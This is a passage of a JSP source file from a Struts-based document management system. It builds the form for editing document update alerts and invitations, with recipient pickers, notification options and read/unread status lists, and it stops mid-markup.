<%
/*
 * @(#)EditUpdateAlert.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditUpdateAlert.jsp

  This class is reflecting business logic uses.

    @author           Wong Yam Lee
    @company          DCIVision Limited
    @creation date    21/08/2003
    @version          $Revision: 1.74.2.18 $
*/

%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.* "%>
<%@ page import="com.dcivision.dms.bean.* "%>
<%@ page import="com.dcivision.dms.core.* "%>
<%@ page import="com.dcivision.dms.* "%>
<%@ page import="com.dcivision.alert.bean.* "%>
<%@ page import="com.dcivision.alert.dao.* "%>
<%@ page import="com.dcivision.user.dao.* "%>
<%@ page import="com.dcivision.contact.dao.MtmContactListObjectLinkDAObject "%>
<%@ page import="com.dcivision.contact.dao.ContactPersonDAObject "%>
<%@ page import="com.dcivision.contact.bean.MtmContactListObjectLink "%>
<%@ page import="com.dcivision.contact.bean.ContactPerson "%>
<%@ page import="com.dcivision.contact.dao.ContactListDAObject "%>
<%@ page import="com.dcivision.contact.bean.ContactList "%>
<%@ page import="org.apache.commons.logging.LogFactory"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsUpdateAlertForm" scope="request" class="com.dcivision.dms.web.MaintDmsUpdateAlertForm"/>


<html:form action="dms/MaintDmsUpdateAlert" styleClass="form-style-2">
<html:javascript formName="maintDmsUpdateAlertForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<script language="Javascript" src="<%= request.getContextPath() %>/js/FormFunction.js" charset="UTF-8" type="text/javascript"></script>

<script src="<%= request.getContextPath() %>/js/scriptaculous/lib/prototype.js" type="text/javascript"></script>
<script src="<%= request.getContextPath() %>/js/scriptaculous/src/scriptaculous.js" type="text/javascript"></script>
<script src='<%= request.getContextPath() %>/dwr/interface/InviteePickerDWRFacade.js' type='text/javascript'></script>
<script src='<%= request.getContextPath() %>/dwr/engine.js' type='text/javascript'></script>
<script src="<%= request.getContextPath() %>/js/inviteePicker.js" type="text/javascript"></script>
<script src="<%= request.getContextPath() %>/js/OldTree.jsp" language="Javascript" charset="UTF-8" type="text/javascript"></script>

<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

   String docName = maintDmsUpdateAlertForm.getObjectName();
   //String documentType = request.getParameter("documentType")==null? DmsDocument.DOCUMENT_TYPE:request.getParameter("documentType");//joan.xiong update code for bug EIP-345 by 2006/12/27
   Integer parentID = TextUtility.parseIntegerObj(maintDmsUpdateAlertForm.getParentID());
   Integer rootID = TextUtility.parseIntegerObj(maintDmsUpdateAlertForm.getRootID());
   String alertType = maintDmsUpdateAlertForm.getAlertType();
   String directURL = request.getParameter("directURL") != null ? request.getParameter("directURL") : maintDmsUpdateAlertForm.getDirectURL();

   Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   DocumentRetrievalManager docRetrivalManager=new DocumentRetrievalManager(sessionContainer,conn);
   MtmUserRecordUserRoleDAObject userRoleDAO  = new MtmUserRecordUserRoleDAObject(sessionContainer,conn);
   MtmUserRecordUserGroupDAObject userGroupDAO= new MtmUserRecordUserGroupDAObject(sessionContainer,conn);
   String sCurFunctionCode = maintDmsUpdateAlertForm.getCurFunctionCode()==null ? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY) : maintDmsUpdateAlertForm.getCurFunctionCode();
   String homePageFunctionCode="";
   String showAll=(String)request.getAttribute("ShowAll");
   List readUserList=new ArrayList();
   List unReadUserList = new ArrayList();
   if (Utility.isEmpty(sCurFunctionCode) || "null".equals(sCurFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(sCurFunctionCode)){
     homePageFunctionCode=DmsOperationConstant.LIST_PERSONAL_HOME;
    DmsDocument documentRoot = docRetrivalManager.getRootFolderByRootID(rootID);
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
      sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
      sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }
    request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, sCurFunctionCode);
   }
   DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
   if (rootFolder == null) {
      rootFolder = docRetrivalManager.getRootFolderByRootID(rootID);
   }

   String permission = request.getParameter("permission");
   if (Utility.isEmpty(permission)){
    PermissionManager permissionManager = sessionContainer.getPermissionManager();
    permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, new Integer(maintDmsUpdateAlertForm.getObjectID()));
   }

  String senderEmail = UserInfoFactory.getUserEmailAddress(sessionContainer.getUserRecordID());
  String state = request.getAttribute("state")==null? null: (String)request.getAttribute("state");
  String dbDateTimeFormat = SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT);
  boolean supportEmail=SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.SUPPORT_EMAIL);
  DmsDocument currentDocument = (DmsDocument) docRetrivalManager.getDocument(TextUtility.parseIntegerObj(maintDmsUpdateAlertForm.getObjectID()));

  String documentType = request.getParameter("documentType")==null?currentDocument.getDocumentType():request.getParameter("documentType");//joan.xiong update code for bug EIP-345 by 2006/12/27

  String fromEmail=(String)session.getAttribute("fromEmail");

  String returnTop = TextUtility.noNull(request.getParameter("returnTop"));
  String returnTo = TextUtility.noNull(maintDmsUpdateAlertForm.getReturnTo());
  if(!Utility.isEmpty(returnTop)&&!"undefined".equals(returnTop) && !"null".equals(returnTop)){
    returnTop = java.net.URLEncoder.encode(returnTop, "UTF-8");
		if ( Utility.isEmpty(returnTo)){
			returnTo = returnTo + "&returnTo=" + returnTop;
			maintDmsUpdateAlertForm.setReturnTo(returnTo);
		}
  } 

%>
<script language="Javascript">
<!--

function INIT(){
  <%if (GlobalConstant.NAV_MODE_NEW.equals(maintDmsUpdateAlertForm.getNavMode())){%>
      <%if(!supportEmail){%>
        document.maintDmsUpdateAlertForm.notifyWay.checked=true;
      <%}else{%>
        for (var i=0;i<document.maintDmsUpdateAlertForm.notifyWay.length;i++){
          document.maintDmsUpdateAlertForm.notifyWay[i].checked=true;
        }
      <%}%>
  <%}%>

}

function CustomOpDelete(){
  //if (confirm("<bean:message key='dms.label.confirm_clear_logs'/>")) {
  //  document.maintDmsUpdateAlertForm.clearLogs.value=true;
 // }else{
 //   document.maintDmsUpdateAlertForm.clearLogs.value=false;
 // }

  OpDelete();

  return false;
}
// ensure actionType and notifyWay is not empty
function CustomOpSave() {
  var actionSelected = false;
  var waySelected = false;

  var userSelected = false;
  var groupSelected = false;
  var roleSelected = false;
  var contactSelected = false;
  var contactPersonSelected = false;
  var toSelected = false;
  var sysInvitaion = true;

  var hasExternalMail = false;


  if(document.maintDmsUpdateAlertForm.recipients&&document.maintDmsUpdateAlertForm.recipients.value!=""){
    hasExternalMail = true;  
  }



<%if (!UpdateAlert.ALERT_TYPE.equals(alertType)){%>
  if (document.maintDmsUpdateAlertForm.userList != null) {
		userSelected = true; 
  }

  if (document.maintDmsUpdateAlertForm.groupList != null) {
		groupSelected = true;
  }

  if (document.maintDmsUpdateAlertForm.roleList != null) {
		roleSelected = true;
  }

  if (document.maintDmsUpdateAlertForm.contactList) {
    if (document.maintDmsUpdateAlertForm.contactList.length > 0){
      for ( var i=0; i<document.maintDmsUpdateAlertForm.contactList.length; ++i ) {
        if ( document.maintDmsUpdateAlertForm.contactList[i].checked ) { contactSelected = true; }
      }
    } else {
      if ( document.maintDmsUpdateAlertForm.contactList.checked ) { contactSelected = true; }
    }
  }
  if(document.maintDmsUpdateAlertForm.contactPersonList){
    if (document.maintDmsUpdateAlertForm.contactPersonList.length > 0){
      for ( var i=0; i<document.maintDmsUpdateAlertForm.contactPersonList.length; ++i ) {
        if ( document.maintDmsUpdateAlertForm.contactPersonList[i].checked ) { contactPersonSelected = true; }
      }
    } else {
      if ( document.maintDmsUpdateAlertForm.contactPersonList.checked ) { contactPersonSelected = true; }
    }
  }
  if(document.maintDmsUpdateAlertForm.recipients&&document.maintDmsUpdateAlertForm.recipients.value!=""){
    toSelected = true;
  }
<%}%>
  <%if (UpdateAlert.INVITE_TYPE.equals(alertType)) {%>
    actionSelected = true;
  <%} else {%>
  for ( var i=0; i<document.maintDmsUpdateAlertForm.actionType.length; ++i ) {
    if ( document.maintDmsUpdateAlertForm.actionType[i].checked ) { actionSelected = true; }
  }
  if ( (actionSelected !=true) && (document.maintDmsUpdateAlertForm.actionType.checked) ){
    actionSelected = true;
  }
  <%}%>
  if(document.maintDmsUpdateAlertForm.notifyWay.checked){
    waySelected = true;
  }else{
    for ( var i=0; i<document.maintDmsUpdateAlertForm.notifyWay.length; ++i ) {
      if ( document.maintDmsUpdateAlertForm.notifyWay[i].checked ) { waySelected = true; }
    }
  }
  if ( !actionSelected ) {
    alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.notification_when")%>' />');
    return false;
  }
  if ( !waySelected ) {
    alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.notification_type")%>' />');
    return false;
  }
  <%if (!UpdateAlert.ALERT_TYPE.equals(alertType)){%>
  if (!hasExternalMail && !(userSelected || groupSelected || roleSelected || contactSelected || contactPersonSelected || toSelected)) {
    alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.notification_recipient")%>' />');
    return false;
  }
  if(!hasExternalMail &&(contactPersonSelected || toSelected) && !(userSelected || groupSelected || roleSelected || contactSelected )){
  if(document.maintDmsUpdateAlertForm.notifyWay.checked && document.maintDmsUpdateAlertForm.notifyWay[i].value=='<%=UpdateAlert.SYSTEM_NOTIFICATION%>'){
    sysInvitaion = false;
  }else{
	for ( var i=0; i<document.maintDmsUpdateAlertForm.notifyWay.length; ++i ) {
      if (document.maintDmsUpdateAlertForm.notifyWay[i].checked && document.maintDmsUpdateAlertForm.notifyWay[i].value=='<%=UpdateAlert.SYSTEM_NOTIFICATION%>'){
        sysInvitaion = false;
	  }
    }
  }
	if(!sysInvitaion){
      alert('<bean:message key='dms.label.cannot_system_invitation'/>');
	  return false;
	}
	
  }
  if(compareDate(document.maintDmsUpdateAlertForm.currentDate, document.maintDmsUpdateAlertForm.dueDate, true) > 0){
    alert('<bean:message key='dms.label.notification_invalid_due_date'/>');
    return false;
  }
  <%}%>

<%if(Utility.isEmpty(sessionContainer.getUserRecord().getEmail())){  
   if(supportEmail){
%>
    if(document.maintDmsUpdateAlertForm.notifyWay.checked==null){
      if(document.maintDmsUpdateAlertForm.notifyWay[0].checked && (confirm('<bean:message key='dms.message.not_set_email_address' arg0='<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.SMTP_ADMIN_ADDRESS)%>'/>') == false)){
      	return false;
      }
	  }else{
	    if(document.maintDmsUpdateAlertForm.notifyWay.checked && (confirm('<bean:message key='dms.message.not_set_email_address' arg0='<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.SMTP_ADMIN_ADDRESS)%>'/>') == false)){
      	return false;
     }
	  }
<% }
  }
%>

	if(document.maintDmsUpdateAlertForm.recipients&&document.maintDmsUpdateAlertForm.recipients.value!="" && (!checkEmailAddressAvailable(document.maintDmsUpdateAlertForm.recipients.value))){
      alert("<bean:message key='dms.label.email_send_to'/> <bean:message key='errors.form.label.validate_email'/>");
	  document.maintDmsUpdateAlertForm.recipients.focus();
	  return; 
	}

	if(document.maintDmsUpdateAlertForm.CCRecipients&&document.maintDmsUpdateAlertForm.CCRecipients.value!="" && (!checkEmailAddressAvailable(document.maintDmsUpdateAlertForm.CCRecipients.value))){
      alert("<bean:message key='dms.label.email_cc'/> <bean:message key='errors.form.label.validate_email'/>");
	  document.maintDmsUpdateAlertForm.CCRecipients.focus();
	  return; 
	}


	if(document.maintDmsUpdateAlertForm.BCCRecipients&&document.maintDmsUpdateAlertForm.BCCRecipients.value!="" && (!checkEmailAddressAvailable(document.maintDmsUpdateAlertForm.BCCRecipients.value))){
      alert("<bean:message key='dms.label.email_bcc'/> <bean:message key='errors.form.label.validate_email'/>");
	  document.maintDmsUpdateAlertForm.BCCRecipients.focus();
	  return; 
	}



  if ( actionSelected && waySelected ) {
    return OpSave();
  } else {
    return false;
  }
}

  function checkEmailAddressAvailable(emailAdress){
	var isAvailEmailAddress  = true;  
    if(emailAdress.indexOf(';')<0) {
       if(!isEmail(emailAdress)) {
	     isAvailEmailAddress  = false;	   
	   }
	}else{
      stringArray = emailAdress.split(';'); 
      for (var i=0; i<stringArray.length;i++) {     
       if(stringArray[i] == ''|| !isEmail(stringArray[i])) {
	     isAvailEmailAddress  = false;
         break;
	   }
      } 
	}
	return isAvailEmailAddress;  
  }

  function toggleBlock(b) {
    if(FindObj(b).style.display == "block" || FindObj(b).style.display == "") {
      hideBlock(b);
    } else {
      showBlock(b);
    }

    saveBox(b);
  }

  function hideBlock(b) {
    FindObj(b).style.display = "none";
  }

  function showBlock(b) {
    FindObj(b).style.display = "block";
  }

  function saveBox(b) {
    var uid = "DF0182B722-3CAEB5D9202A913A";
    var cookieStr = "";
    var expDays = 3650;
    var exp = new Date();
    exp.setTime(exp.getTime() + (expDays*24*60*60*1000));

    cookieStr = uid + b + "=" + FindObj(b).style.display + "; expires=" + exp.toGMTString();
    document.cookie = cookieStr;
  }
  
  
function getActionType(){
var  obj=document.maintDmsUpdateAlertForm.actionType;
var  flag=0;
var  actionType;
for(i=0;i<obj.length;i++)
{
    if(obj[i].checked)
    {
        actionType  =  obj[i].value;
		break;
    }
}
if(actionType=='<%=UpdateAlert.DISCUSS_ACTION%>'){
return "<%=UpdateAlert.DISCUSS_ACTION%>";
}
return "<%=UpdateAlert.INVITE_ACTION%>";

}
  
function changeAlertSubject(){
    var alertsubject = document.maintDmsUpdateAlertForm.alertSubject.value;
	if(trim(alertsubject)!="")
	{		
    document.maintDmsUpdateAlertForm.alertSubjectIsChange.value='yes';
	}else{
	document.maintDmsUpdateAlertForm.alertSubjectIsChange.value='no';
	if(getActionType()=='<%=UpdateAlert.DISCUSS_ACTION%>'){
	document.maintDmsUpdateAlertForm.alertSubject.value="<bean:message key='home.message.document_invitation_subject_discuss'/>" + " "+"\""+ "<%=currentDocument.getDocumentName()%>"+"\"";	
	}else{
	document.maintDmsUpdateAlertForm.alertSubject.value="<bean:message key='home.label.icon_invite_read'/>: [ "+ "<%=currentDocument.getDocumentName()%>"+"]";
	}
	}
  }
  function changeActionTypeToDiscuss(){
   if('no'==document.maintDmsUpdateAlertForm.alertSubjectIsChange.value){
	document.maintDmsUpdateAlertForm.alertSubject.value="<bean:message key='home.message.document_invitation_subject_discuss'/>" + " "+"\""+ "<%=currentDocument.getDocumentName()%>"+"\"";	
  }
}
function changeActionTypeToRead(){
   if('no'==document.maintDmsUpdateAlertForm.alertSubjectIsChange.value){
	document.maintDmsUpdateAlertForm.alertSubject.value="<bean:message key='home.label.icon_invite_read'/>: [ " + "<%=currentDocument.getDocumentName()%>"+"]";
	}
}
  function loadBox(b) {
    if (getCookie(b) == "block" || getCookie(b) == "" || getCookie(b) == null)
      showBlock(b);
    else
      hideBlock(b);
  }
-->
</script>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='objectID'/>
<html:hidden property='objectType'/>
<html:hidden property='objectName' value='<%=docName%>'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='parentID'/>
<html:hidden property='rootID'/>
<html:hidden property='alertType' value='<%=alertType%>'/>
<html:hidden property="directURL" value='<%=directURL%>'/>
<html:hidden property="returnTo"/>
<html:hidden property="clearLogs" value='false'/>

<input type="hidden" name="alertSubjectIsChange" value='<%=Utility.isEmpty(maintDmsUpdateAlertForm.getAlertSubject())?"no":"yes"%>'>
<input type='hidden' name='documentType' value='<%=documentType%>'/>
<input type='hidden' name='currentDate' value='<%=TextUtility.formatDate(new java.util.Date(),dbDateTimeFormat)%>'>
<%try{%>

<%
String returnURL="";
if(Utility.isEmpty(maintDmsUpdateAlertForm.getReturnTo()) || maintDmsUpdateAlertForm.getReturnTo().equals("null")){
  if(Utility.isEmpty(homePageFunctionCode)){
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(rootFolder.getDocumentName())) {
      returnURL="ListDmsDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID;
    }else {
        returnURL="ListDmsPublicDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID+"&Return=Y";
    }
  }else if(DmsOperationConstant.LIST_PERSONAL_HOME.equals(homePageFunctionCode)){
    returnURL=request.getContextPath()+"/Home.do";
    }
}else{
  returnURL=maintDmsUpdateAlertForm.getReturnTo();
}%>

<layout:tabContainer id="tab1">
    <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
    <layout:tabBar styleClass="tabBar_no_button">
        <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true"/>
    </layout:tabBar>

<!-- Basic Tab DIV -->
<div id="basicTab" class="tabContent">
<table width="100%">
  <!-- Section Header -->
  <layout:sectionHeader name='<%="dms.label.doc_info_" + documentType%>' mandatory='false'/>
  <tr>
    <td class="formLabelSmall"><bean:message key='<%="dms.label.name_" + documentType%>'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630">
    <nobr><dms:documentInfo docObject='<%=currentDocument%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' curFunctionCode='<%=sCurFunctionCode%>'/>&nbsp;&nbsp;&nbsp;&nbsp;
    <%if ("A".equals(request.getParameter("alertType"))){%>
    <html:checkbox property="notifySelf" value="<%=GlobalConstant.TRUE%>"/><bean:message key='dms.label.noitfy_self'/>&nbsp;&nbsp;&nbsp;&nbsp;
    <%}%>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='dms.label.location'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630">
    <dms:locationPath parentID="<%=parentID%>" rootID="<%=rootID%>" permission='<%=permission%>' rootDocument='<%=rootFolder%>'  indexFlag='showIndexFlag'/>
    </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>

  <!-- Section Header -->
  <layout:sectionHeader name='<%="dms.label.update_alert_"+alertType%>'/>
  <%if (UpdateAlert.ALERT_TYPE.equals(alertType)){%>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='dms.label.notification_when'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630">
      <%if ( DmsDocument.FOLDER_TYPE.equals(documentType)) {%>
      <html:checkbox property="actionType" value="<%=UpdateAlert.CREATE_ACTION%>"/>&nbsp;<bean:message key='dms.label.notification_create'/>&nbsp;&nbsp;&nbsp;
      <%}%>
      <html:checkbox property="actionType" value="<%=UpdateAlert.UPDATE_ACTION%>" />&nbsp;<bean:message key='dms.label.notification_update'/>&nbsp;&nbsp;&nbsp;
      <html:checkbox property="actionType" value="<%=UpdateAlert.VIEW_ACTION%>" />&nbsp;<bean:message key='dms.label.notification_view'/>&nbsp;&nbsp;&nbsp;
      <html:checkbox property="actionType" value="<%=UpdateAlert.DELETE_ACTION%>" />&nbsp;<bean:message key='dms.label.notification_delete'/>&nbsp;&nbsp;&nbsp;
      <%if(docRetrivalManager.hasRelationship(TextUtility.parseIntegerObj(request.getParameter("objectID")),"")&&!DmsDocument.FOLDER_TYPE.equals(documentType)){%>
      <html:checkbox property="actionType" value="<%=UpdateAlert.MODIFY_RELATED_DOC%>" />&nbsp;<bean:message key='dms.label.document_relationship'/>&nbsp;&nbsp;&nbsp;
      <%}%>
    </td>
  </tr>
  <%}else if (UpdateAlert.INVITE_TYPE.equals(alertType)) {
    if(!GlobalConstant.NAV_MODE_VIEW.equals(maintDmsUpdateAlertForm.getNavMode()) && !GlobalConstant.NAV_MODE_EDIT.equals(maintDmsUpdateAlertForm.getNavMode())){
      String[] actionType=new String[1];
      actionType[0]=UpdateAlert.INVITE_ACTION;
      maintDmsUpdateAlertForm.setActionType(actionType);
    }
  %>
  <tr>
  <td class="formLabelSmall"><bean:message key='alert.message.subject'/>&nbsp;</td>
  <td class="formFieldSmall" width="630"><html:text property="alertSubject"  size='60' maxlength='120' onchange="changeAlertSubject();"/>
  </td>
  </tr>
  <script language="javascript" type="text/javascript">
  <%if(Utility.isEmpty(maintDmsUpdateAlertForm.getAlertSubject())){
  if(UpdateAlert.DISCUSS_ACTION.equals(maintDmsUpdateAlertForm.getActionType())){
  %>
  document.maintDmsUpdateAlertForm.alertSubject.value="<bean:message key='home.message.document_invitation_subject_discuss'/>"+"\"" + "<%=currentDocument.getDocumentName()%>"+"\"";
  <%}else {%>
  document.maintDmsUpdateAlertForm.alertSubject.value="<bean:message key='home.label.icon_invite_read'/>: [ " + "<%=currentDocument.getDocumentName()%>"+"]";
  <%}}%>
  </script>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='alert.message.action_type'/>&nbsp;</td>
    <td class="formFieldSmall" width="630">
      <%if(!GlobalConstant.NAV_MODE_VIEW.equals(maintDmsUpdateAlertForm.getNavMode())){%>
        <bean:message key='dms.label.notification_invite'/> <html:radio property="actionType" onclick="changeActionTypeToRead();" value="<%=UpdateAlert.INVITE_ACTION%>"/>
        <%if(SystemFunctionConstant.DMS_PUBLIC_FOLDER.equals(sCurFunctionCode)){%>
          <bean:message key='dms.label.notification_discuss'/><html:radio  property="actionType" onclick="changeActionTypeToDiscuss();" value="<%=UpdateAlert.DISCUSS_ACTION%>"/>
        <%}%>
      <%}else{%>
        <%for(int i=0;i<maintDmsUpdateAlertForm.getActionType().length;i++){
            if(UpdateAlert.INVITE_ACTION.equals(maintDmsUpdateAlertForm.getActionType()[i])){%>
              <bean:message key='dms.label.notification_invite'/>
        <%}else if(UpdateAlert.DISCUSS_ACTION.equals(maintDmsUpdateAlertForm.getActionType()[i])){%>
              <bean:message key='dms.label.notification_discuss'/>
        <%}}%>
      <%}%>
    </td>
  </tr>

 <!--  <html:hidden property="actionType" value="<%=UpdateAlert.INVITE_ACTION%>" />  -->
  <%}%>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='dms.label.notification_type'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630">
     <%if(supportEmail){%>
      <html:checkbox property="notifyWay" value="<%=UpdateAlert.EMAIL_NOTIFICATION%>" />&nbsp;<bean:message key='dms.label.notification_email'/>&nbsp;&nbsp;&nbsp;
      <%}%>
      <html:checkbox property="notifyWay" value="<%=UpdateAlert.SYSTEM_NOTIFICATION%>" />&nbsp;<bean:message key='dms.label.notification_system'/>&nbsp;&nbsp;&nbsp;
    </td>
  </tr>
  <%if (UpdateAlert.INVITE_TYPE.equals(alertType)) {%>
  <tr>
    <td class="formLabelSmall"><bean:message key='dms.label.notification_due_date'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630">
      <html:datepicker property="dueDate"/>
    </td>
  </tr>
  <%}%> 
  <%if (UpdateAlert.INVITE_TYPE.equals(alertType)) {%>
  <tr>
    <td class="formLabelSmall" valign='top'><bean:message key='dms.label.notification_message'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630">
      <html:textarea property="message" cols="40" rows="5"/>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall" width='25%' valign='top'><bean:message key='dms.label.notification_recipient'/>:&nbsp;</td>
    <td class="formFieldSmall" width='75%'>
    <table>
			<tr>
				<td>
				<%//Add By Jim Zhou				2006/11/29			EIP-90%>
				<!--invitee picker  -->
				<html:inviteePicker name="invitees" propertyUser="userList" propertyGroup="groupList" propertyRole="roleList" valueUser='<%=maintDmsUpdateAlertForm.getUserList()%>' valueGroup='<%=maintDmsUpdateAlertForm.getGroupList()%>' valueRole='<%=maintDmsUpdateAlertForm.getRoleList()%>' />
				<!--invitee picker  -->
				</td>
				<%//Add End%>
			</tr>
    </table>
    </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <%if (!UpdateAlert.ALERT_TYPE.equals(alertType)){
      String updateAlertTypeID = (String)request.getAttribute("updateAlertTypeID");
      if (!Utility.isEmpty(updateAlertTypeID)){
      //Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
      UpdateAlertLogActionDAObject logactionDAO = new UpdateAlertLogActionDAObject (sessionContainer, conn);
      List alertLogActionList = (List) logactionDAO.getListByUpdateAlertTypeID(new Integer(updateAlertTypeID));
      //List alertLogActionUnreadList = (List) logactionDAO.getUnreadListByUpdateAlertTypeID(new Integer(updateAlertTypeID));
      String [] userArray = maintDmsUpdateAlertForm.getUserList();
      List groupUserList = new ArrayList();
      List roleUserList = new ArrayList();
  %>
  <tr>
     <td> <layout:sectionHeader name="dms.label.notification_status" mandatory='false'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall" width='25%' valign='top'><bean:message key='dms.label.notification_internal'/>:&nbsp;</td>
    <td class="formFieldSmall" width='75%'>
    <table>
      <tr>
        <td class="bodySmallBold"><bean:message key='dms.label.notification_recipient_read'/>&nbsp;(<%=alertLogActionList.size()%>)&nbsp;</td>
        <td>
        <span id="readerShow">
                      [<a href="" onclick="showBlock('readerHide'); hideBlock('readerShow'); toggleBlock('reader'); return false" onMouseOver="window.status='reader';return true;"><bean:message key ='calendar.label.hide'/></a>]
                      <script language="Javascript">
                        <%if(UpdateAlert.ALERT_TYPE.equals(alertType)){%>
                          showBlock("readerShow");
                        <%}else{%>
                          hideBlock("readerShow");
                        <%}%>
                      </script>
                    </span>
                    <span id="readerHide">
                      [<a href="" onclick="hideBlock('readerHide'); showBlock('readerShow'); toggleBlock('reader'); return false" onMouseOver="window.status='reader';return true;"><bean:message key ='calendar.label.show'/></a>]
                      <script language="Javascript">
                       <%if(UpdateAlert.ALERT_TYPE.equals(alertType)){%>
                          hideBlock("readerHide");
                        <%}else{%>
                          showBlock("readerHide");
                        <%}%>
                      </script>
                    </span>
        </td>
      </tr>
      <%  for (int i=0; i < alertLogActionList.size(); i++) {
              UpdateAlertLogAction updateAlertLogAction = (UpdateAlertLogAction) alertLogActionList.get(i);
              String userName = UserInfoFactory.getUserFullName(updateAlertLogAction.getActorID());
              readUserList.add(userName);
      }%>
      <tr>
      <td>
      <div id="reader">
      <table width="100%" border="0" cellspacing="2" cellpadding="0">
      <tr>
        <td>
        <%  for (int i=0; i < alertLogActionList.size(); i++) {
              UpdateAlertLogAction updateAlertLogAction = (UpdateAlertLogAction) alertLogActionList.get(i);
              String userName = UserInfoFactory.getUserFullName(updateAlertLogAction.getActorID());
              %>
              <%if(i>3){%>
                <br><%=userName%>;
              <%}else{%>
                 <%=userName%>; &nbsp;
              <%}%>
        <%  }%>
        </td>
        <!--<td width="200">
        </td>-->
      </tr>
      </table>
      <script language="Javascript">
         <%if(!UpdateAlert.ALERT_TYPE.equals(alertType)){%>
              hideBlock("reader");
         <%}else{%>
              showBlock("reader");
          <%}%>
      </script>
      </div>
      </td>
      </tr>
      <tr>
      <% 
        if(!Utility.isEmpty(maintDmsUpdateAlertForm.getGroupList())){
          for(int i=0;i<maintDmsUpdateAlertForm.getGroupList().length;i++){
          groupUserList = userGroupDAO.getUserIDListByUserGroupID(TextUtility.parseIntegerObj(maintDmsUpdateAlertForm.getGroupList()[i]));
            for(int d=0;d<groupUserList.size();d++){
              String userName = UserInfoFactory.getUserFullName(TextUtility.parseIntegerObj(groupUserList.get(d).toString()));
              if(!unReadUserList.contains(userName)){
                unReadUserList.add(userName);
              }
            }
          }
         }
         if(!Utility.isEmpty(maintDmsUpdateAlertForm.getRoleList())){
           for(int i=0;i<maintDmsUpdateAlertForm.getRoleList().length;i++){
             roleUserList = userRoleDAO.getUserIDListByUserRoleID(TextUtility.parseIntegerObj(maintDmsUpdateAlertForm.getRoleList()[i]));
             for(int d=0;d<roleUserList.size();d++){
               String userName = UserInfoFactory.getUserFullName(TextUtility.parseIntegerObj(roleUserList.get(d).toString()));
               if(!unReadUserList.contains(userName)){
                unReadUserList.add(userName);
              }
             }
             
           }
         }
          if(!Utility.isEmpty(maintDmsUpdateAlertForm.getUserList())){
             for(int i=0;i<userArray.length;i++){
            String userName = UserInfoFactory.getUserFullName(new Integer(userArray[i]));
            if(!unReadUserList.contains(userName)){
                unReadUserList.add(userName);
              }
             }
          }

      %>
        <td class="bodySmallBold"><bean:message key='dms.label.notification_recipient_unread'/>&nbsp;(<%=unReadUserList.size()-alertLogActionList.size()%>)&nbsp;
        </td>
		<td>
        <span id="unReaderShow">
